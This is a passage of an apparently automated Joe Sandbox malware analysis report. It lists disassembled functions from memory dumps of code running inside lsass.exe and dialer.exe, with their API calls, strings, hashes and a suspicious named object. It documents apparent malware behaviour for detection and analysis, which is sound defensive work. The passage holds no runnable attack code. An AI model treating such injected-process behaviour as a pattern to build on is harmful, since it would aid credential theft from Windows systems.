__except_validate_context_record.LIBVCRUNTIME ref: 000002D6F14EA5D0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002D6F14EA6B8

Strings

csm, xrefs: 000002D6F14EA5F2
csm, xrefs: 000002D6F14EA70A

Memory Dump Source

Source File: 00000040.00000003.2213046710.000002D6F14E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_3_2d6f14e0000_lsass.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction ID: f9c4f8e6206a8963f6a7b47ead92b620a722661ef74abdf4d243677e63d5d571
Opcode Fuzzy Hash: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction Fuzzy Hash: 2E516B32100A808EEB64CB26A54C35877A1E7D5BD8F249217DA9B47FD9CB3CDE51CB11

Function 000002D6F151B1A8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002D6F151B1D0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002D6F151B2B8

Strings

csm, xrefs: 000002D6F151B30A
csm, xrefs: 000002D6F151B1F2

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction ID: 71a3230ece6bef7479f4e2890e5adf1a87b513b83bb6095f49a83735daaef3e4
Opcode Fuzzy Hash: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction Fuzzy Hash: E8515BB2200A808EEB668F21B58C35C76B0E355BC4F146217DA9EA7FD5CB3CD8A5C701

Function 000002D6F1513554 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

StrCmpNW.SHLWAPI ref: 000002D6F1513576
StrStrW.SHLWAPI ref: 000002D6F1513594
StrToIntW.SHLWAPI ref: 000002D6F15135BB

Part of subcall function 000002D6F1511934: OpenProcess.KERNEL32 ref: 000002D6F151195A
Part of subcall function 000002D6F1511934: K32GetModuleFileNameExW.KERNEL32 ref: 000002D6F1511978
Part of subcall function 000002D6F1511934: PathFindFileNameW.SHLWAPI ref: 000002D6F1511987
Part of subcall function 000002D6F1511934: lstrlenW.KERNEL32 ref: 000002D6F1511993
Part of subcall function 000002D6F1511934: StrCpyW.SHLWAPI ref: 000002D6F15119A6
Part of subcall function 000002D6F1511934: CloseHandle.KERNEL32 ref: 000002D6F15119B4

Part of subcall function 000002D6F1513C74: StrCmpNIW.KERNELBASE(?,?,?,000002D6F151254B), ref: 000002D6F1513C8C

Strings

pid_, xrefs: 000002D6F151356C

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID: pid_
API String ID: 517849248-4147670505
Opcode ID: 003ff62f248625063318c3f9e3d6e241277a7bda76ff5f02da447dbddd7f43fe
Instruction ID: 04b5bc7be5bae2e231b41602a3925eddeedc2558ddb853d7041854d0f4e41136
Opcode Fuzzy Hash: 003ff62f248625063318c3f9e3d6e241277a7bda76ff5f02da447dbddd7f43fe
Instruction Fuzzy Hash: 24117FA1314F819AEB919F25F85D39A56A4F7447E0F9444629E4EA3F94EF2CCD04C740

Function 000002D6F1522488 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000002D6F1522507
WriteFile.KERNEL32 ref: 000002D6F15227CF
WriteFile.KERNEL32 ref: 000002D6F1522815
GetLastError.KERNEL32 ref: 000002D6F15228CB

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 795992a6124246315900671f12580f797be80ebc569419187a9af15682e1d93c
Instruction ID: 87ea7e14d2d76aee394001ea6eb3b3dc7dbb72b68501625102b15bc11e301b5e
Opcode Fuzzy Hash: 795992a6124246315900671f12580f797be80ebc569419187a9af15682e1d93c
Instruction Fuzzy Hash: ECD1BEB7B04A808DE711CFA9E44829C37B1F3547D8F54421ADE5E9BF99DA38C84AC740

Function 000002D6F15114A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002D6F15114C5
HeapFree.KERNEL32 ref: 000002D6F15114D4
GetProcessHeap.KERNEL32 ref: 000002D6F15114E1
HeapFree.KERNEL32 ref: 000002D6F15114F0
GetProcessHeap.KERNEL32 ref: 000002D6F1511500

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: f2d6af867017c8fdca06cc75cff9703ddcaaa443aeb9202065457787ca9ddd0f
Instruction ID: 9d04490a5e2fbcb8dfec4f4e7dc08825bcd3f5b62e1391709303a6a03f8b2330
Opcode Fuzzy Hash: f2d6af867017c8fdca06cc75cff9703ddcaaa443aeb9202065457787ca9ddd0f
Instruction Fuzzy Hash: 8E014C72600ED0CAD744DF66F84C24AA7A0F788FC0F144426EE4E53B19DE38D851C740

Function 000002D6F1522DB0 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,000002D6F1522D9B), ref: 000002D6F1522ECC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,000002D6F1522D9B), ref: 000002D6F1522F57

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: ed4da88c6f9953f7d7ff9071fd661f4bfe943a7a16315c9e976136c82c347ad5
Instruction ID: 92e1807aa898a0b2b4613ca21d82bc4f10f96b9a7745d83c59c66e000c55cf7b
Opcode Fuzzy Hash: ed4da88c6f9953f7d7ff9071fd661f4bfe943a7a16315c9e976136c82c347ad5
Instruction Fuzzy Hash: E6918CA7610E908DF7A09F65A48D7AD6BA0B744BC8F54411EDE0F67E99DA3CCC82C710

Function 000002D6F1517D90 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000002D6F1517DBC
GetCurrentThreadId.KERNEL32 ref: 000002D6F1517DCA
GetCurrentProcessId.KERNEL32 ref: 000002D6F1517DD6
QueryPerformanceCounter.KERNEL32 ref: 000002D6F1517DE6

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 489f61d66183c236694581db33bccd4d3439c18b3469579d7712a38510163ede
Instruction ID: 06b4efff5b6c160b7dc9c4b7bd4f778f21c86f1fa3c020589f51172ef4ae19d9
Opcode Fuzzy Hash: 489f61d66183c236694581db33bccd4d3439c18b3469579d7712a38510163ede
Instruction Fuzzy Hash: 8F11E866710F448EEF008F60E8993A933A4F759798F441E26DE6E46BA4DB7CC5998380

Function 000002D6F14EA24C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000002D6F14EA2E7

Strings

MOC, xrefs: 000002D6F14EA2AC
RCC, xrefs: 000002D6F14EA2B5

Memory Dump Source

Source File: 00000040.00000003.2213046710.000002D6F14E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_3_2d6f14e0000_lsass.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: 30a9d0c0d3f57c599bda06983a5ca6919b98e12de895e70124a407b05a736fc2
Instruction ID: 8d0a257d0caca75355a0c7b1b12a1f23c93301f2e9b2ee0cbe80525b15093ef4
Opcode Fuzzy Hash: 30a9d0c0d3f57c599bda06983a5ca6919b98e12de895e70124a407b05a736fc2
Instruction Fuzzy Hash: D9615937604F848AEB20DF65E48839D77A0F384BC8F144216EF5A17B99DB78DA95C710

Function 000002D6F15123F8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002D6F15124DE
StrCpyW.SHLWAPI ref: 000002D6F15124F5

Strings

\\.\pipe\, xrefs: 000002D6F15124E9

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: d24fa520fd7dbb7ec2b76f1d32a897148e6d9871f9771e10c0de33aaa48a33cd
Instruction ID: a65ad775bb423b37c431d461dad3b794233cd1dd6003edd2ca36412c875c725d
Opcode Fuzzy Hash: d24fa520fd7dbb7ec2b76f1d32a897148e6d9871f9771e10c0de33aaa48a33cd
Instruction Fuzzy Hash: 575107A6204B8189EA669F25B4AC36AA751F3857C0F66011BDE4F27F99DE3DCC44CB40

Function 000002D6F14F2DDB Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

_log10_special.LIBCMT ref: 000002D6F14F3071

Strings

dll, xrefs: 000002D6F14F2E95

Memory Dump Source

Source File: 00000040.00000003.2213046710.000002D6F14E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_3_2d6f14e0000_lsass.jbxd

Similarity

API ID: _log10_special
String ID: dll
API String ID: 3812965864-1037284150
Opcode ID: f5c871aa60dc0e0ec45b8b1933c36a9d422e8a67736998cb73b4f17a378e9579
Instruction ID: d29dea122ef367423192d766315d926b2feafc5fa2c5c6954ae55b370387667b
Opcode Fuzzy Hash: f5c871aa60dc0e0ec45b8b1933c36a9d422e8a67736998cb73b4f17a378e9579
Instruction Fuzzy Hash: E6614E21925F488CE6639B39B86D2256718BFA33C9F41D317E82B77F69DB1C98078200

Function 000002D6F1522B20 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000002D6F1522C37
GetLastError.KERNEL32 ref: 000002D6F1522C59

Strings

U, xrefs: 000002D6F1522BE3

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 08a3ddd2b86f7b8515106781585b8c8a1d40bea7a265024b77d0f248b7dc9f58
Instruction ID: 3bb12b5c87f35b63ff020a461a0ba4d7719bd7d288c1a8db06b5396424dc50a6
Opcode Fuzzy Hash: 08a3ddd2b86f7b8515106781585b8c8a1d40bea7a265024b77d0f248b7dc9f58
Instruction Fuzzy Hash: 9141A0A7314E809ADB209F65F44C3AA67A1F7987D4F804026EE4E87B94DB7CC841CB40

Function 000002D6F15198D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000002D6F1519920
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,000002D6F151850B), ref: 000002D6F1519961

Strings

csm, xrefs: 000002D6F151994E

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: d6e187f7c3a97b3215a18421b3b0fdb8c27e8d274db127c5d8f8eb200af9c340
Instruction ID: 472425e9a0a945d8f88ad4a04fa043c181074d06b5dab1dbaaebe19d85c956ef
Opcode Fuzzy Hash: d6e187f7c3a97b3215a18421b3b0fdb8c27e8d274db127c5d8f8eb200af9c340
Instruction Fuzzy Hash: EF112B72615F8482EB218F25F45835977E5F788B98F584225EE8D17B58DF3CC9518B00

Function 000002D6F14E7786 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000002D6F14E77AC

Strings

ctor closure', xrefs: 000002D6F14E7794
`vector constructor iterator', xrefs: 000002D6F14E77B1

Memory Dump Source

Source File: 00000040.00000003.2213046710.000002D6F14E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_3_2d6f14e0000_lsass.jbxd

Similarity

API ID: __std_exception_copy
String ID: `vector constructor iterator'$ctor closure'
API String ID: 592178966-3792692944
Opcode ID: 3d94f62f39723b7dc1272b79e31019e2f4db169682176d2f048e7421b3153389
Instruction ID: 6421eaac3b253b903766460ea74f787798e4bab0b4f12f5c5ce9bd20b43d90da
Opcode Fuzzy Hash: 3d94f62f39723b7dc1272b79e31019e2f4db169682176d2f048e7421b3153389
Instruction Fuzzy Hash: FAE08661641F44D4DF058F22F48829833A4DB99B94B4991239A6D0B315FA3CD6E9C700

Function 000002D6F14E77E4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000002D6F14E7808

Strings

ctor closure', xrefs: 000002D6F14E77F0
destructor iterator', xrefs: 000002D6F14E780D

Memory Dump Source

Source File: 00000040.00000003.2213046710.000002D6F14E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_3_2d6f14e0000_lsass.jbxd

Similarity

API ID: __std_exception_copy
String ID: ctor closure'$destructor iterator'
API String ID: 592178966-595914035
Opcode ID: 178c451bf754e9b3f91433b5168c8e4fc02ede9add1333831d18f9cb102bf374
Instruction ID: 3043f56b623956e0d24dd6aa4450355004b171e1966781238bfcc48730eb3f6c
Opcode Fuzzy Hash: 178c451bf754e9b3f91433b5168c8e4fc02ede9add1333831d18f9cb102bf374
Instruction Fuzzy Hash: 70E08661601F44C4DF058F21E4841983364E799B94B8891238A6D0B315EA3CD5E5C300

Function 000002D6F14E78EC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 11COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 000002D6F14E78F5

Strings

`scalar deleting destructor', xrefs: 000002D6F14E7911
rFeaturePresent, xrefs: 000002D6F14E78FA

Memory Dump Source

Source File: 00000040.00000003.2213046710.000002D6F14E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_3_2d6f14e0000_lsass.jbxd

Similarity

API ID: std::bad_alloc::bad_alloc
String ID: `scalar deleting destructor'$rFeaturePresent
API String ID: 1875163511-1689945142
Opcode ID: 825dc38fabb3a4a7c87f2f3a88ae4ed20e2ecae66053889663208d07eaa1d642
Instruction ID: 4145a2b33f49a0204eeba2a9ae845424453b5d6c24a68af7af6fa8d1c576e3aa
Opcode Fuzzy Hash: 825dc38fabb3a4a7c87f2f3a88ae4ed20e2ecae66053889663208d07eaa1d642
Instruction Fuzzy Hash: 8CD09E22211E8599EE10EB04F88D7896334F3D4799F904413925E42EB9DF2CCF4AD750

Function 000002D6F1511C34 Relevance: 5.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002D6F1511C6D
HeapAlloc.KERNEL32 ref: 000002D6F1511C7B
GetProcessHeap.KERNEL32 ref: 000002D6F1511CA0
HeapFree.KERNEL32 ref: 000002D6F1511CAE

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 138e9805673e9783fb607e1b8e779fad2fd7a8f9a8e5a925b2c8afb7781e516c
Instruction ID: 847c43cd6a541c41a2bc10a9def4f75ee983d8fed6796b9f9604382c83c137d8
Opcode Fuzzy Hash: 138e9805673e9783fb607e1b8e779fad2fd7a8f9a8e5a925b2c8afb7781e516c
Instruction Fuzzy Hash: B8118066A01F8089EB05CF76F44C21A67A1F789FD5F694126DE4EA3B25DF3CD8428300

Function 000002D6F1511268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002D6F151126E
HeapAlloc.KERNEL32 ref: 000002D6F151127D
GetProcessHeap.KERNEL32 ref: 000002D6F1511297
HeapAlloc.KERNEL32 ref: 000002D6F15112A8

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 82c219c6629c72d91ab1c60b28cb1fe49c35d6a1ad48fabfff97e5801092fb08
Instruction ID: 96f73450a87a06c1df04f858679f87d5cd367a94e33e99f658e4b488cb58d552
Opcode Fuzzy Hash: 82c219c6629c72d91ab1c60b28cb1fe49c35d6a1ad48fabfff97e5801092fb08
Instruction Fuzzy Hash: BBE06DB2601A808AE7048F62E80C349B7E1FB88F86F14C024CD0E07751DF7D98998740

Function 000002D6F1511000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002D6F1511006
HeapAlloc.KERNEL32 ref: 000002D6F1511015
GetProcessHeap.KERNEL32 ref: 000002D6F1511028
HeapAlloc.KERNEL32 ref: 000002D6F1511037

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 5675c379a8d9e89708cd85a835e518bb04a23da85e3639b53f95be9f51753b7f
Instruction ID: 4c2064e12f9cce17a0b9e9519d123edc699b36f5fa7e42d3a40c70041ff6d4f1
Opcode Fuzzy Hash: 5675c379a8d9e89708cd85a835e518bb04a23da85e3639b53f95be9f51753b7f
Instruction Fuzzy Hash: 33E012B26119808BE7089F62E80C359B7E1FB8CF56F548025CD0E07711DE3C9899C710

Analysis Process: dialer.exePID: 6900, Parent PID: 5712COMMON

Execution Graph

Execution Coverage:	2.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	899
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0000000140001394 Relevance: 1.5, APIs: 1, Instructions: 24
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtMapCMFModule.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001156), ref: 00000001400013F7

Memory Dump Source

Source File: 00000041.00000002.3442105288.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000041.00000002.3441829333.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3442303779.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3442397948.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3442510479.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_140000000_dialer.jbxd

Similarity

API ID: Module
String ID:
API String ID: 193471262-0
Opcode ID: db3a2adbfd885308611a8e34f6847f87a6f17780172e7325b61373531d395d4d
Instruction ID: d3c3cf79118e968cc42332799ff90b96b74b9ead5fc78a259f0acec360665963
Opcode Fuzzy Hash: db3a2adbfd885308611a8e34f6847f87a6f17780172e7325b61373531d395d4d
Instruction Fuzzy Hash: 35F09DB6608B408AEA12DB62F85179A77A5F38C7C0F009919BBC853735DB38C190CB40

Non-executed Functions

Function 00000001400027D0 Relevance: 23.1, APIs: 9, Strings: 4, Instructions: 376
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 0000000140002810
wcsncmp.MSVCRT ref: 00000001400029E4
memset.MSVCRT ref: 0000000140002AAC
wcscpy.MSVCRT ref: 0000000140002B15
wcscat.MSVCRT ref: 0000000140002B20
wcslen.MSVCRT ref: 0000000140002B28
wcslen.MSVCRT ref: 0000000140002B40
wcslen.MSVCRT ref: 0000000140002BA0
wcslen.MSVCRT ref: 0000000140002BF2

Strings

0, xrefs: 00000001400029E9
`, xrefs: 0000000140002D9B
X, xrefs: 0000000140002D83
\BaseNamedObjects\aymhdakqytvceiwv, xrefs: 00000001400027D8

Memory Dump Source

Source File: 00000041.00000002.3442105288.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000041.00000002.3441829333.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3442303779.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
